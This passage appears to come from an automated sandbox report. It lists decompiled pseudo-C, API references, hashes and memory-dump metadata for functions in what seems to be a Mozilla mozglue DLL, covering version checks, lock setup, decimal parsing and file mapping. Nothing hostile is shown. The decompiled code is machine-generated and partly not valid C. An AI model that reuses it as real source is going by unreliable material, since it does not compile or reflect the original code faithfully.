					goto L2;
				} else {
					L2:
					L8:
					return E6D0F70C0(_v8 ^ _t59);
				}
			}

0x6d0e266d
0x6d0e2676
0x6d0e267d
0x6d0e2686
0x6d0e2694
0x6d0e269f
0x6d0e277d
0x6d0e278a
0x6d0e2790
0x6d0e2798
0x6d0e279e
0x6d0e27a3
0x6d0e278a
0x6d0e26a5
0x6d0e26aa
0x6d0e26af
0x6d0e26b8
0x6d0e26bf
0x6d0e2764
0x00000000
0x6d0e2764
0x6d0e26d3
0x6d0e26db
0x6d0e26e6
0x6d0e26f6
0x6d0e26fe
0x6d0e2708
0x6d0e270d
0x6d0e2711
0x6d0e2715
0x6d0e2720
0x6d0e272b
0x6d0e2736
0x6d0e273c
0x6d0e274f
0x6d0e2762
0x00000000
0x6d0e2762
0x6d0e2756
0x00000000
0x6d0e26b1
0x6d0e26b1
0x6d0e2766
0x6d0e2776
0x6d0e2776

APIs

memset.VCRUNTIME140(?,00000000,0000009C,00000000,06020000,6D0F9648), ref: 6D0E26D3
VerSetConditionMask.KERNEL32(00000000,00000000,00000002,00000003,00000000,06020000,6D0F9648), ref: 6D0E2715
VerSetConditionMask.KERNEL32(00000000,?,00000001,00000003), ref: 6D0E2720
VerSetConditionMask.KERNEL32(00000000,?,00000020,00000003,?,00000001,00000003), ref: 6D0E272B
VerSetConditionMask.KERNEL32(00000000,?,00000010,00000003,?,00000020,00000003,?,00000001,00000003), ref: 6D0E2736
VerifyVersionInfoA.KERNEL32 ref: 6D0E2747
__Init_thread_footer.LIBCMT ref: 6D0E279E

Memory Dump Source

Source File: 0000000C.00000002.881031241.000000006D0E1000.00000020.00020000.sdmp, Offset: 6D0E0000, based on PE: true

Associated: 0000000C.00000002.881025209.000000006D0E0000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881046456.000000006D0F9000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881054935.000000006D100000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.881060024.000000006D102000.00000002.00020000.sdmp Download File

Similarity

API ID: ConditionMask$InfoInit_thread_footerVerifyVersionmemset
String ID:
API String ID: 387208282-0
Opcode ID: c8271e2496e122bb06470281deacb323a0177d3f71b0bb8acf513611ae1a4684
Instruction ID: 0899b8617b33cf0cde10c880441995ea10a936685e5fd65cc468af372b6d6450
Opcode Fuzzy Hash: c8271e2496e122bb06470281deacb323a0177d3f71b0bb8acf513611ae1a4684
Instruction Fuzzy Hash: B031A771A00314AFEB10AF66AC48F6A77B8FF4B750F50416EF944E7280CB719941CB61

Uniqueness

Uniqueness Score: -1.00%

Function 6D0E9480, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 89
COMMON

Download Yara Rule

C-Code - Quality: 18%

			E6D0E9480(void* __ecx, void* __edx, void* __edi, signed long long __fp0, intOrPtr _a4) {
				signed int _v16;
				intOrPtr _v20;
				signed long long _v36;
				void* _t5;
				void* _t8;
				void* _t9;
				void* _t10;
				void* _t12;
				void* _t18;
				intOrPtr _t20;
				void* _t29;
				void* _t31;
				void* _t33;
				void* _t36;
				void* _t37;
				void* _t41;
				signed long long _t46;

				_t46 = __fp0;
				_t37 = _t41;
				_t20 = _a4;
				_t5 = E6D0E9568(_t20);
				__imp__SleepConditionVariableSRW(__ecx, _t5, 0xffffffff, 0, _t29, _t36);
				_pop(_t31);
				if(_t5 == 0) {
					E6D0E90E5("MOZ_RELEASE_ASSERT(r)");
					asm("int3");
					E6D0E8DD0(0x34);
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					_t8 = E6D0E9568(_v20);
					_t9 = E6D0E9411(_t8);
					_v36 = _t46 *  *0x6d0faa58;
					asm("movsd xmm0, [ebp-0x8]");
					_t10 = E6D0F7B01(_t9);
					asm("movsd xmm0, [ebp-0x8]");
					asm("comisd xmm0, [0x6d0faa60]");
					asm("xorps xmm1, xmm1");
					_t11 =  >  ? _v16 | 0xffffffff : _t10;
					asm("comisd xmm1, xmm0");
					_t12 =  >  ? 0 :  >  ? _v16 | 0xffffffff : _t10;
					__imp__SleepConditionVariableSRW(_t8, _t12, 0, __edi, _t31, _t20, _t20, _t37);
					_t33 = _t20;
					if(_t12 == 0) {
						if(GetLastError() != 0x5b4) {
							E6D0E90E5("MOZ_RELEASE_ASSERT(GetLastError() == 1460L)");
							asm("int3");
							E6D0E8DD0(0x45);
							asm("int3");
							asm("int3");
							asm("int3");
							__imp__InitializeSRWLock(0, _t33);
							return 0;
						} else {
							_t18 = 1;
							goto L7;
						}
					} else {
						_t18 = 0;
						L7:
						return _t18;
					}
				} else {
					return _t5;
				}
			}

0x6d0e9480
0x6d0e9481
0x6d0e9486
0x6d0e9489
0x6d0e9494
0x6d0e949a
0x6d0e949d
0x6d0e94a8
0x6d0e94b0
0x6d0e94b3
0x6d0e94b8
0x6d0e94b9
0x6d0e94ba
0x6d0e94bb
0x6d0e94bc
0x6d0e94bd
0x6d0e94be
0x6d0e94bf
0x6d0e94cc
0x6d0e94d6
0x6d0e94e3
0x6d0e94e6
0x6d0e94eb
0x6d0e94f0
0x6d0e94f8
0x6d0e9500
0x6d0e9503
0x6d0e9508
0x6d0e950c
0x6d0e9512
0x6d0e9519
0x6d0e951c
0x6d0e952d
0x6d0e953d
0x6d0e9545
0x6d0e9548
0x6d0e954d
0x6d0e954e
0x6d0e954f
0x6d0e9554
0x6d0e955d
0x6d0e952f
0x6d0e9531
0x00000000
0x6d0e9531
0x6d0e951e
0x6d0e951e
0x6d0e9532
0x6d0e9535
0x6d0e9535
0x6d0e949f
0x6d0e94a0
0x6d0e94a0

APIs

SleepConditionVariableSRW.KERNEL32(?,00000000,000000FF,00000000), ref: 6D0E9494
SleepConditionVariableSRW.KERNEL32(?,00000000,00000000,00000000,?,?,?,?,?,00000034), ref: 6D0E9512

Strings

MOZ_RELEASE_ASSERT(r), xrefs: 6D0E94A3
MOZ_RELEASE_ASSERT(GetLastError() == 1460L), xrefs: 6D0E9538

Memory Dump Source

Source File: 0000000C.00000002.881031241.000000006D0E1000.00000020.00020000.sdmp, Offset: 6D0E0000, based on PE: true

Associated: 0000000C.00000002.881025209.000000006D0E0000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881046456.000000006D0F9000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881054935.000000006D100000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.881060024.000000006D102000.00000002.00020000.sdmp Download File

Similarity

API ID: ConditionSleepVariable
String ID: MOZ_RELEASE_ASSERT(GetLastError() == 1460L)$MOZ_RELEASE_ASSERT(r)
API String ID: 1382704212-574271323
Opcode ID: cd553c02337d8ae3ebf3832d6822dcbd3c9334a4be9594c47199a986b350d5de
Instruction ID: d00c38c929c40bcef5daf80419dd812828c0ec393ca7375f3b77e7d90a66b884
Opcode Fuzzy Hash: cd553c02337d8ae3ebf3832d6822dcbd3c9334a4be9594c47199a986b350d5de
Instruction Fuzzy Hash: B211F3736041186FEB085B74BC06FEE376CDF826E0F204625FE1AA7180DB60A94186A1

Uniqueness

Uniqueness Score: -1.00%

Function 6D0F6A05, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E6D0F6A05() {
				intOrPtr _t1;
				_Unknown_base(*)()* _t3;
				void* _t5;
				_Unknown_base(*)()* _t6;
				struct HINSTANCE__* _t14;

				_t1 =  *0x6d100808; // 0x0
				if(_t1 != 1) {
					if(_t1 == 0) {
						_t14 = GetModuleHandleW(L"KERNEL32.DLL");
						if(_t14 != 0) {
							_t3 = GetProcAddress(_t14, "AcquireSRWLockExclusive");
							if(_t3 == 0) {
								goto L5;
							} else {
								 *0x6d10080c = _t3;
								_t6 = GetProcAddress(_t14, "ReleaseSRWLockExclusive");
								if(_t6 == 0) {
									goto L5;
								} else {
									 *0x6d100810 = _t6;
								}
							}
						} else {
							L5:
							_t14 = 1;
						}
						asm("lock cmpxchg [edx], ecx");
						if(0 != 0 || _t14 != 1) {
							if(0 != 1) {
								_t5 = 1;
							} else {
								goto L12;
							}
						} else {
							L12:
							_t5 = 0;
						}
						return _t5;
					} else {
						return 1;
					}
				} else {
					return 0;
				}
			}

0x6d0f6a05
0x6d0f6a10
0x6d0f6a18
0x6d0f6a2a
0x6d0f6a2e
0x6d0f6a3a
0x6d0f6a42
0x00000000
0x6d0f6a44
0x6d0f6a4a
0x6d0f6a4f
0x6d0f6a57
0x00000000
0x6d0f6a59
0x6d0f6a59
0x6d0f6a59
0x6d0f6a57
0x6d0f6a30
0x6d0f6a30
0x6d0f6a30
0x6d0f6a30
0x6d0f6a67
0x6d0f6a6d
0x6d0f6a75
0x6d0f6a7b
0x00000000
0x00000000
0x00000000
0x6d0f6a77
0x6d0f6a77
0x6d0f6a77
0x6d0f6a77
0x6d0f6a7f
0x6d0f6a1a
0x6d0f6a1d
0x6d0f6a1d
0x6d0f6a12
0x6d0f6a15
0x6d0f6a15

Strings

KERNEL32.DLL, xrefs: 6D0F6A1F
AcquireSRWLockExclusive, xrefs: 6D0F6A34
ReleaseSRWLockExclusive, xrefs: 6D0F6A44

Memory Dump Source

Source File: 0000000C.00000002.881031241.000000006D0E1000.00000020.00020000.sdmp, Offset: 6D0E0000, based on PE: true

Associated: 0000000C.00000002.881025209.000000006D0E0000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881046456.000000006D0F9000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881054935.000000006D100000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.881060024.000000006D102000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: AcquireSRWLockExclusive$KERNEL32.DLL$ReleaseSRWLockExclusive
API String ID: 0-1718035505
Opcode ID: 2d632205707c897cf815133d1a8da4329fbb71925541bdc588703576df378e97
Instruction ID: 12bd398dce15509c553c5596937f0955316ce3f6503042b0020aea65ae0b9203
Opcode Fuzzy Hash: 2d632205707c897cf815133d1a8da4329fbb71925541bdc588703576df378e97
Instruction Fuzzy Hash: 600181B76511235BBF51AEA568847EA27F8BA032513B0C23AED61D3240DB51C4439ED0

Uniqueness

Uniqueness Score: -1.00%

Function 6D0F0A27, Relevance: 10.5, APIs: 7, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E6D0F0A27(void* __ecx, intOrPtr _a4) {
				void* _v8;
				void* _v12;
				char _t10;
				char* _t13;
				void* _t26;
				intOrPtr* _t27;

				__imp__??0_Lockit@std@@QAE@H@Z(0, _t26, __ecx, __ecx);
				_t10 =  *0x6d1007f8; // 0x0
				_v8 = _t10;
				__imp__??Bid@locale@std@@QAEIXZ();
				_t27 = E6D0F4556(_a4, _t10);
				if(_t27 == 0) {
					_t27 = _v8;
					if(_t27 == 0) {
						_t13 =  &_v8;
						__imp__?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z(_t13, _a4);
						_t31 = _t13 - 0xffffffff;
						if(_t13 == 0xffffffff) {
							abort();
						}
						_t27 = _v8;
						 *0x6d1007f8 = _t27;
						 *((intOrPtr*)( *_t27 + 4))();
						E6D0F707C(_t31, _t27);
					}
				}
				__imp__??1_Lockit@std@@QAE@XZ();
				return _t27;
			}

0x6d0f0a32
0x6d0f0a38
0x6d0f0a43
0x6d0f0a46
0x6d0f0a55
0x6d0f0a59
0x6d0f0a5b
0x6d0f0a60
0x6d0f0a65
0x6d0f0a69
0x6d0f0a71
0x6d0f0a74
0x6d0f0a76
0x6d0f0a76
0x6d0f0a7c
0x6d0f0a81
0x6d0f0a89
0x6d0f0a8d
0x6d0f0a92
0x6d0f0a60
0x6d0f0a96
0x6d0f0aa2

APIs

??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,?,?,?), ref: 6D0F0A32
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,?), ref: 6D0F0A46
std::locale::_Getfacet.LIBCPMT ref: 6D0F0A50

Part of subcall function 6D0F4556: ?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,6D0F0A55,00000000,?,?,?,?,?,?), ref: 6D0F457B

?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,00000000,?,?,?,?,?,?), ref: 6D0F0A69
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?), ref: 6D0F0A76
std::_Facet_Register.LIBCPMT ref: 6D0F0A8D
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,?,?,?), ref: 6D0F0A96

Memory Dump Source

Source File: 0000000C.00000002.881031241.000000006D0E1000.00000020.00020000.sdmp, Offset: 6D0E0000, based on PE: true

Associated: 0000000C.00000002.881025209.000000006D0E0000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881046456.000000006D0F9000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881054935.000000006D100000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.881060024.000000006D102000.00000002.00020000.sdmp Download File

Similarity

API ID: Lockit@std@@$??0_??1_Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@GetfacetGetgloballocale@locale@std@@Locimp@12@RegisterV42@@Vfacet@locale@2@abortstd::_std::locale::_
String ID:
API String ID: 3620348516-0
Opcode ID: de73c650646ed0a05a8bc4fd5e62d9e4236fd4201d34c637db8d2950f65363cf
Instruction ID: 34a4931f64a5564ec8a7520426955d4df356730355de43a78e817434c2792d16
Opcode Fuzzy Hash: de73c650646ed0a05a8bc4fd5e62d9e4236fd4201d34c637db8d2950f65363cf
Instruction Fuzzy Hash: 35015E36904215EBDF14DFA4E508B9D7BB8FF0A720B210159EC1593280DB70AE01CB80

Uniqueness

Uniqueness Score: -1.00%

Function 6D0EA9B0, Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 43COMMON

Download Yara Rule

APIs

___swprintf_l.LIBCMT ref: 6D0EA9FE
___swprintf_l.LIBCMT ref: 6D0EAA16

Strings

#%02u: ??? (???:???), xrefs: 6D0EAA0B
#%02u: %s (%s:%u), xrefs: 6D0EA9D8
???, xrefs: 6D0EA9BF, 6D0EA9D4, 6D0EA9EF
#%02u: %s[%s +0x%x], xrefs: 6D0EA9F3

Memory Dump Source

Source File: 0000000C.00000002.881031241.000000006D0E1000.00000020.00020000.sdmp, Offset: 6D0E0000, based on PE: true

Associated: 0000000C.00000002.881025209.000000006D0E0000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881046456.000000006D0F9000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881054935.000000006D100000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.881060024.000000006D102000.00000002.00020000.sdmp Download File

Similarity

API ID: ___swprintf_l
String ID: #%02u: %s (%s:%u)$#%02u: %s[%s +0x%x]$#%02u: ??? (???:???)$???
API String ID: 48624451-3546623234
Opcode ID: 4a0ea1248865aa425f720b5f098965bdba96a28118543813df4570aa84847102
Instruction ID: c163e496003b16a9d93158094d4b1a67485b4dee441ff880194b3c3b80de4cb9
Opcode Fuzzy Hash: 4a0ea1248865aa425f720b5f098965bdba96a28118543813df4570aa84847102
Instruction Fuzzy Hash: 5701817150428A7FFF028E54CC41FFA3BA6AF08294F294148FD6C4A1A1D376D8A1E790

Uniqueness

Uniqueness Score: -1.00%

Function 6D0EEA20, Relevance: 9.2, APIs: 6, Instructions: 248
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E6D0EEA20(void* _a4, intOrPtr* _a8) {
				void* _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				signed int _v32;
				signed int _v36;
				intOrPtr _v40;
				char _v64;
				void* _t65;
				void* _t69;
				intOrPtr* _t77;
				intOrPtr _t82;
				void* _t86;
				intOrPtr* _t90;
				char _t92;
				intOrPtr _t99;
				signed int _t100;
				void* _t105;
				intOrPtr _t109;

				asm("xorps xmm0, xmm0");
				_v12 = 0;
				_t65 = 0;
				_v32 = 0;
				_v36 = 0;
				_v16 = 0;
				asm("movlpd [ebp-0x18], xmm0");
				_t82 = _v28;
				_push(7);
				_t99 =  *((intOrPtr*)(_a8 + 0x10));
				_v40 = _t99;
				_t100 = _v24;
				_v20 = 0;
				_v8 = 0;
				_pop(1);
				if(_t99 == 0) {
					L50:
					if(1 != 8) {
						if(1 == 0 || 1 == 4 || 1 == 2) {
							_t109 = _v32;
							_t103 =  ==  ?  ~0x00000000 : 0;
							_t104 = ( ==  ?  ~0x00000000 : 0) - _t109;
							_t105 = ( ==  ?  ~0x00000000 : 0) - _t109 + _v36;
							if(_t105 >= 0xfffffc01) {
								_t86 = _t105 - 0x3fe;
								if(_t86 <= 0) {
									L66:
									E6D0ED880(_a4, _v8, _t105, _t82, _t100);
									goto L67;
								}
								if(_t86 - _t109 + _v12 <= 0x12) {
									_t82 = E6D0EF412(_t86, _t100, _t82, _t100, _t86);
									_t105 = 0x3fe;
									goto L66;
								}
								E6D0EED50(_a4, _v8);
								L56:
								goto L40;
							}
							_push(0);
							L55:
							_push(_a4);
							E6D0EFC80();
							goto L56;
						} else {
							L39:
							E6D0EF040(_a4);
							L40:
							L67:
							_t69 = _a4;
							L68:
							return _t69;
						}
					}
					_push(_t65);
					goto L55;
				} else {
					goto L1;
				}
				while(1) {
					L1:
					_t90 = _a8;
					_t77 = _t90;
					if( *((intOrPtr*)(_t90 + 0x14)) >= 0x10) {
						_t77 =  *_t90;
					}
					_t92 =  *((char*)(_t77 + _v16));
					if(1 > 8) {
						goto L39;
					}
					switch( *((intOrPtr*)(4 +  &M6D0EECC8))) {
						case 0:
							_t78 = _t92 - 0x30;
							_v24 = _t78;
							if(_t78 > 9) {
								goto L9;
							}
							_t94 = _v12;
							if(_t94 >= 0x12) {
								_v36 = _v36 + 1;
							} else {
								_v12 = _t94 + 1;
								_t79 = E6D0F7E50(_t82, _t100, 0xa, 0);
								_t96 = _t100;
								asm("cdq");
								_t82 = _t79 + _v24;
								asm("adc ecx, edx");
								_v24 = _t96;
								_t100 = _t96;
							}
							goto L48;
						case 1:
							__esi = __ecx - 0x30;
							if(__esi > 9) {
								goto L44;
							}
							__ecx = _v12;
							if(__ecx < 0x12) {
								__ecx = __ecx + 1;
								_v32 = _v32 + 1;
								_v12 = __ecx;
								__ebx = E6D0F7E50(__ebx, __edx, 0xa, 0);
								__ecx = __edx;
								__eax = __esi;
								asm("cdq");
								__ebx = __ebx + __esi;
								asm("adc ecx, edx");
								_v24 = __ecx;
								__edx = __ecx;
							}
							_push(2);
							goto L47;
						case 2:
							if(__ecx != 0x2b) {
								if(__ecx != 0x2d) {
									goto L20;
								}
								__ecx = 0;
								__ecx = 1;
								L17:
								_v20 = __ecx;
								_push(5);
								goto L47;
							}
							__ecx = 0;
							goto L17;
						case 3:
							_t34 = __ecx - 0x30; // -48
							__eax = _t34;
							if(_t34 > 9) {
								goto L39;
							}
							__eax = __edi * 0xa;
							_t35 = __ecx - 0x30; // -48
							__edi = _t35;
							__edi = __eax + _t35;
							if(__edi <= 0x411) {
								goto L21;
							}
							if(__ebx == 0) {
								_push(_v8);
								goto L55;
							}
							__eax =  &_v64;
							if(_v20 != 1) {
								__eax = E6D0EED50( &_v64, _v8);
							} else {
								__eax = E6D0EFC80( &_v64, 0);
							}
							_pop(__ecx);
							_pop(__ecx);
							__esi = __eax;
							__eax = _a4;
							_push(6);
							_pop(__ecx);
							__edi = _a4;
							__eax = memcpy(_a4, __esi, __ecx << 2);
							__esi + __ecx = __esi + __ecx + __ecx;
							__ecx = 0;
							goto L68;
						case 4:
							L20:
							__edi = __ecx - 0x30;
							if(__edi > 9) {
								goto L39;
							}
							L21:
							_push(4);
							goto L47;
						case 5:
							__eax = __ecx - 0x31;
							if(__ecx - 0x31 > 8) {
								if(__ecx != 0x30) {
									goto L39;
								}
								goto L30;
							}
							goto L28;
						case 6:
							__eax = __ecx - 0x31;
							if(__ecx - 0x31 <= 8) {
								goto L28;
							}
							if(__ecx != 0x2d) {
								if(__ecx != 0x2b) {
									if(__ecx == 0x30) {
										L30:
										_push(8);
										goto L47;
									}
									if(__ecx == 0x2e) {
										goto L10;
									}
									goto L39;
								}
								__eax = 0;
								L34:
								_push(6);
								_v8 = __eax;
								_pop(__esi);
								goto L49;
							}
							__eax = 0;
							__eax = 1;
							goto L34;
						case 7:
							if(__ecx == 0x30) {
								L48:
								_t65 = _v8;
								L49:
								_v16 = _v16 + 1;
								if(_v16 < _v40) {
									goto L1;
								}
								goto L50;
							}
							_t44 = __ecx - 0x31; // -43
							__eax = _t44;
							if(_t44 <= 8) {
								L28:
								_t39 = __ecx - 0x30; // -42
								__eax = _t39;
								_v12 = 1;
								asm("cdq");
								__esi = 0;
								__ebx = _t39;
								goto L48;
							}
							L9:
							if(_t92 != 0x2e) {
								L44:
								if(_t92 == 0x45 || _t92 == 0x65) {
									_push(3);
									L47:
									_pop(1);
									goto L48;
								} else {
									goto L39;
								}
							}
							L10:
							goto L48;
					}
				}
				goto L39;
			}

0x6d0eea28
0x6d0eea30
0x6d0eea33
0x6d0eea35
0x6d0eea3a
0x6d0eea3d
0x6d0eea43
0x6d0eea48
0x6d0eea4b
0x6d0eea4d
0x6d0eea52
0x6d0eea55
0x6d0eea58
0x6d0eea5b
0x6d0eea5e
0x6d0eea5f
0x6d0eec16
0x6d0eec19
0x6d0eec4a
0x6d0eec5a
0x6d0eec64
0x6d0eec67
0x6d0eec69
0x6d0eec72
0x6d0eec78
0x6d0eec80
0x6d0eecad
0x6d0eecb6
0x00000000
0x6d0eecb6
0x6d0eec8c
0x6d0eeca6
0x6d0eeca8
0x00000000
0x6d0eeca8
0x6d0eec94
0x6d0eec45
0x00000000
0x6d0eec45
0x6d0eec74
0x6d0eec3d
0x6d0eec3d
0x6d0eec40
0x00000000
0x6d0eebd4
0x6d0eebd4
0x6d0eebd7
0x6d0eebdc
0x6d0eecbb
0x6d0eecbb
0x6d0eecbe
0x6d0eecc4
0x6d0eecc4
0x6d0eec4a
0x6d0eec1b
0x00000000
0x00000000
0x00000000
0x00000000
0x6d0eea65
0x6d0eea65
0x6d0eea65
0x6d0eea68
0x6d0eea6e
0x6d0eea70
0x6d0eea70
0x6d0eea75
0x6d0eea7c
0x00000000
0x00000000
0x6d0eea82
0x00000000
0x6d0eea89
0x6d0eea8c
0x6d0eea92
0x00000000
0x00000000
0x6d0eea94
0x6d0eea9a
0x6d0eeac1
0x6d0eea9c
0x6d0eeaa3
0x6d0eeaa6
0x6d0eeaad
0x6d0eeab2
0x6d0eeab3
0x6d0eeab5
0x6d0eeab7
0x6d0eeaba
0x6d0eeaba
0x00000000
0x00000000
0x6d0eeada
0x6d0eeae0
0x00000000
0x00000000
0x6d0eeae6
0x6d0eeaec
0x6d0eeaf2
0x6d0eeaf3
0x6d0eeaf8
0x6d0eeb00
0x6d0eeb02
0x6d0eeb04
0x6d0eeb06
0x6d0eeb07
0x6d0eeb09
0x6d0eeb0b
0x6d0eeb0e
0x6d0eeb0e
0x6d0eeb10
0x00000000
0x00000000
0x6d0eeb1a
0x6d0eeb2b
0x00000000
0x00000000
0x6d0eeb2d
0x6d0eeb2f
0x6d0eeb1e
0x6d0eeb1e
0x6d0eeb21
0x00000000
0x6d0eeb21
0x6d0eeb1c
0x00000000
0x00000000
0x6d0eeb45
0x6d0eeb45
0x6d0eeb4b
0x00000000
0x00000000
0x6d0eeb51
0x6d0eeb54
0x6d0eeb54
0x6d0eeb57
0x6d0eeb5f
0x00000000
0x00000000
0x6d0eeb63
0x6d0eec3a
0x00000000
0x6d0eec3a
0x6d0eeb6d
0x6d0eeb70
0x6d0eec22
0x6d0eeb76
0x6d0eeb79
0x6d0eeb79
0x6d0eec27
0x6d0eec28
0x6d0eec29
0x6d0eec2b
0x6d0eec2e
0x6d0eec30
0x6d0eec31
0x6d0eec33
0x6d0eec33
0x6d0eec33
0x00000000
0x00000000
0x6d0eeb32
0x6d0eeb32
0x6d0eeb38
0x00000000
0x00000000
0x6d0eeb3e
0x6d0eeb3e
0x00000000
0x00000000
0x6d0eeb83
0x6d0eeb89
0x6d0eeb9f
0x00000000
0x00000000
0x00000000
0x6d0eeb9f
0x00000000
0x00000000
0x6d0eeba5
0x6d0eebab
0x00000000
0x00000000
0x6d0eebb0
0x6d0eebc0
0x6d0eebc9
0x6d0eeba1
0x6d0eeba1
0x00000000
0x6d0eeba1
0x6d0eebce
0x00000000
0x00000000
0x00000000
0x6d0eebce
0x6d0eebc2
0x6d0eebb5
0x6d0eebb5
0x6d0eebb7
0x6d0eebba
0x00000000
0x6d0eebba
0x6d0eebb2
0x6d0eebb4
0x00000000
0x00000000
0x6d0eebe5
0x6d0eec01
0x6d0eec01
0x6d0eec04
0x6d0eec04
0x6d0eec10
0x00000000
0x00000000
0x00000000
0x6d0eec10
0x6d0eebe7
0x6d0eebe7
0x6d0eebed
0x6d0eeb8b
0x6d0eeb8b
0x6d0eeb8b
0x6d0eeb8e
0x6d0eeb95
0x6d0eeb96
0x6d0eeb98
0x00000000
0x6d0eeb98
0x6d0eeac9
0x6d0eeacc
0x6d0eebf4
0x6d0eebf7
0x6d0eebfe
0x6d0eec00
0x6d0eec00
0x00000000
0x00000000
0x00000000
0x00000000
0x6d0eebf7
0x6d0eead2
0x00000000
0x00000000
0x6d0eea82
0x00000000

APIs

?infinity@Decimal@blink@@SA?AV12@W4Sign@12@@Z.MOZGLUE(?,?,00000005,00000002,00000000,?,0000000A,00000000,?,00000000,0000000A,00000000,?,?), ref: 6D0EEC22
?zero@Decimal@blink@@SA?AV12@W4Sign@12@@Z.MOZGLUE(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6D0EE9CC,?,00000000), ref: 6D0EEC40
?infinity@Decimal@blink@@SA?AV12@W4Sign@12@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,6D0EE9CC,?,00000000), ref: 6D0EEC94
??0Decimal@blink@@QAE@W4Sign@01@H_K@Z.MOZGLUE(?,?,?,00000000,?,?,?,?,?,?,?,?,?,?,?,6D0EE9CC), ref: 6D0EECB6

Memory Dump Source

Source File: 0000000C.00000002.881031241.000000006D0E1000.00000020.00020000.sdmp, Offset: 6D0E0000, based on PE: true

Associated: 0000000C.00000002.881025209.000000006D0E0000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881046456.000000006D0F9000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881054935.000000006D100000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.881060024.000000006D102000.00000002.00020000.sdmp Download File

Similarity

API ID: Decimal@blink@@$Sign@12@@V12@$?infinity@$?zero@Sign@01@
String ID:
API String ID: 147872146-0
Opcode ID: f2e40bd61d9109b3aca078d116ca6d892fa2d3c86d75ac587765b756254b2355
Instruction ID: f669c6bf42313faeea39027561c613ae0fc6803f0b5f974ca781da585ceacd4b
Opcode Fuzzy Hash: f2e40bd61d9109b3aca078d116ca6d892fa2d3c86d75ac587765b756254b2355
Instruction Fuzzy Hash: E0810671E5410DDFFB08CA98CC90BBEB7B6FF89780F60842AE506E7290D3305A819B51

Uniqueness

Uniqueness Score: -1.00%

Function 6D0E22F8, Relevance: 9.1, APIs: 6, Instructions: 62
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6D0E22F8(WCHAR* _a4) {
				void* _v8;
				char _v12;
				void* _v16;
				char _v20;
				intOrPtr _t21;
				void* _t23;
				void* _t27;
				struct _SECURITY_ATTRIBUTES* _t29;

				_t29 = 0;
				_t23 = CreateFileW(_a4, 0x80000000, 1, 0, 3, 0x80, 0);
				if(_t23 == 0xffffffff) {
					L10:
					return _t29;
				}
				_t27 = CreateFileMappingW(_t23, 0, 2, 0, 0, 0);
				if(_t27 == 0) {
					L9:
					CloseHandle(_t23);
					goto L10;
				}
				E6D0E199C( &_v20, _t27, 0);
				_t17 = _v20;
				if(_v20 == 0) {
					L7:
					CloseHandle(_t27);
					if(_v16 != 0) {
						UnmapViewOfFile(_v16);
					}
					goto L9;
				}
				E6D0E19F1( &_v12, _t27,  *((intOrPtr*)(_t17 + 0x3c)));
				_t21 = _v12;
				if(_t21 != 0) {
					_t7 = _t21 + 8; // 0x3bffffff
					_t29 =  *_t7;
				}
				if(_v8 != 0) {
					UnmapViewOfFile(_v8);
				}
				goto L7;
			}

0x6d0e2300
0x6d0e231b
0x6d0e2320
0x6d0e238a
0x6d0e2391
0x6d0e2391
0x6d0e2330
0x6d0e2334
0x6d0e2382
0x6d0e2383
0x00000000
0x6d0e2389
0x6d0e233b
0x6d0e2340
0x6d0e2345
0x6d0e236c
0x6d0e236d
0x6d0e2377
0x6d0e237c
0x6d0e237c
0x00000000
0x6d0e2377
0x6d0e234e
0x6d0e2353
0x6d0e2358
0x6d0e235a
0x6d0e235a
0x6d0e235a
0x6d0e2361
0x6d0e2366
0x6d0e2366
0x00000000

APIs

CreateFileW.KERNEL32(6D0E2F45,80000000,00000001,00000000,00000003,00000080,00000000,06020000,6D0F9648,?,?,6D0E2F45,00000000), ref: 6D0E2315
CreateFileMappingW.KERNEL32(00000000,00000000,00000002,00000000,00000000,00000000,00000000,?,?,6D0E2F45,00000000), ref: 6D0E232A
CloseHandle.KERNEL32(00000000,?,?,6D0E2F45,00000000), ref: 6D0E2383

Part of subcall function 6D0E199C: GetSystemInfo.KERNEL32(?,00000000,00000000,?,?,?,?,?,?,6D0E2340,00000000,00000000,?,?,6D0E2F45,00000000), ref: 6D0E19AA
Part of subcall function 6D0E199C: MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,6D0E2300,00000000,?,?,?,?,?,?,6D0E2340,00000000,00000000), ref: 6D0E19CF

